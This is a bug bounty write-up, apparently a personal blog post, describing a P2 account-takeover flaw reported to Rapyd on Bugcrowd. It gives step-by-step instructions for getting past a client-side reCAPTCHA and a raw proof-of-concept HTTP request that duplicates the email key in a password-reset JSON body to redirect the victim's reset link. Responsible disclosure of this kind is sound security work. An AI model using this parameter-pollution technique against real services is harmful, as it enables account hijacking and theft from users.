How I Found My First Unique Submission Bug
P2 Severity Bug bounty on Bugcrowd

👋 Hey friends, fellow hackers, and curious minds!
If you’re new to bug bounty hunting, doubting your skills, or wondering if you’ll ever land that first valid and unique submission, this story is for you. Spoiler: You don’t need a decade of experience to make an impact.
The “I’m Not Ready” Phase:
I still remember it was around May 30, 2024, i was start hunting, I was you:
Scrolling through Bugcrowd’s programs, thinking, “Do I even belong here?” Like so many others, I fell into the rabbit hole of binge-watching ‘How to Land Your First Vulnerability’ tutorials and endless bug bounty PoC article and playlists. At first, it felt isolating, like everyone else was sprinting ahead while I was still learning to crawl. But then it hit me: we’re all here, scrambling through the same late-night Google searches, oscillating between motivation and dread.
But here’s the secret nobody tells you: The crowd isn’t sprinting, they’re just better at hiding their stumbles.
I forced myself to pick a target: Rapyd’s authenticated portal. Instead of chasing unexplored subdomains, I focused on the authenticated user flow, then i stumbled into this forgot password feature.
Here's some for ATO PoC: (Just get the idea)
https://www.youtube.com/watch?v=8vWc15KcKGs&list=PLYq73lsQ7MT3FokfqmqAsjPQhhKZNbGF0
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Account%20Takeover
Here’s how it went down:
Registered my dummy
victim@email.com
(The goal is to takeover that account whatsoever)I entered that email on
https://[redacted-portal].rapyd.net/forgot
.Intercepted the request with Burp Suite.
Bypassing reCAPTCHA: The app used client-side reCAPTCHA validation. By letting the frontend handle the “I’m not a robot” check before intercepting the final request, I sidestepped it entirely. until the [redacted-portal].raypd.net shows up.
Step 3: Noticed the backend used JSON parameters. Hmm… What if I tamper with these?
Step 4: Duplicated the
email
field in the JSON payload:
POC:
POST /v1/portal/users/password/forgot HTTP/2
Host: [redacted-portal].raypd.net
Cookie: ....
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:128.0) Gecko/201XXXXX Firefox/128
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://[redacted-portal].raypd.net
Referer: https://[redacted-portal].raypd.net/forgot
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
te: trailers
{
"email":"victim@email.com",
"email":"attacker@email.com",
"recaptcha_token:
"03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxx
xx03aaaaaaxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxxxxxxxxxxxx03aaaaaaxxxxxxxxxxxxx..."
}
5. Sent the request.
Then after a moment....
.
.
.
And The password reset link of victim's email landed on attacker's email inbox just like that! even though attacker@gmail.com
wasn’t registered on Rapyd in first place!
☠️ Password reset link for victim@email.com
was delivered to attacker@email.com
despite:
Attacker email not being registered in Rapyd
Victim email being the legitimate account
Technical Analysis:
Vulnerability Type: JSON Parameter Pollution (JPP)
Root Cause: Backend parser processing both email parameters instead of rejecting duplicates or using last occurrence
Rarity Factors:
Most JSON parsers either reject duplicate keys or prioritize the last instance
This implementation unusually: a) Processes first email to identify the victim account b) Uses second email for reset link delivery
Critical impact achieved without requiring attacker email registration

This wasn’t just a bug, it was a business-critical flaw. Attackers could hijack any account, drain funds, or disrupt entire companies.
https://bugcrowd.com/engagements/rapyd/hall_of_fames
Thanks for reading and good luck for future hunting! 👋
Last updated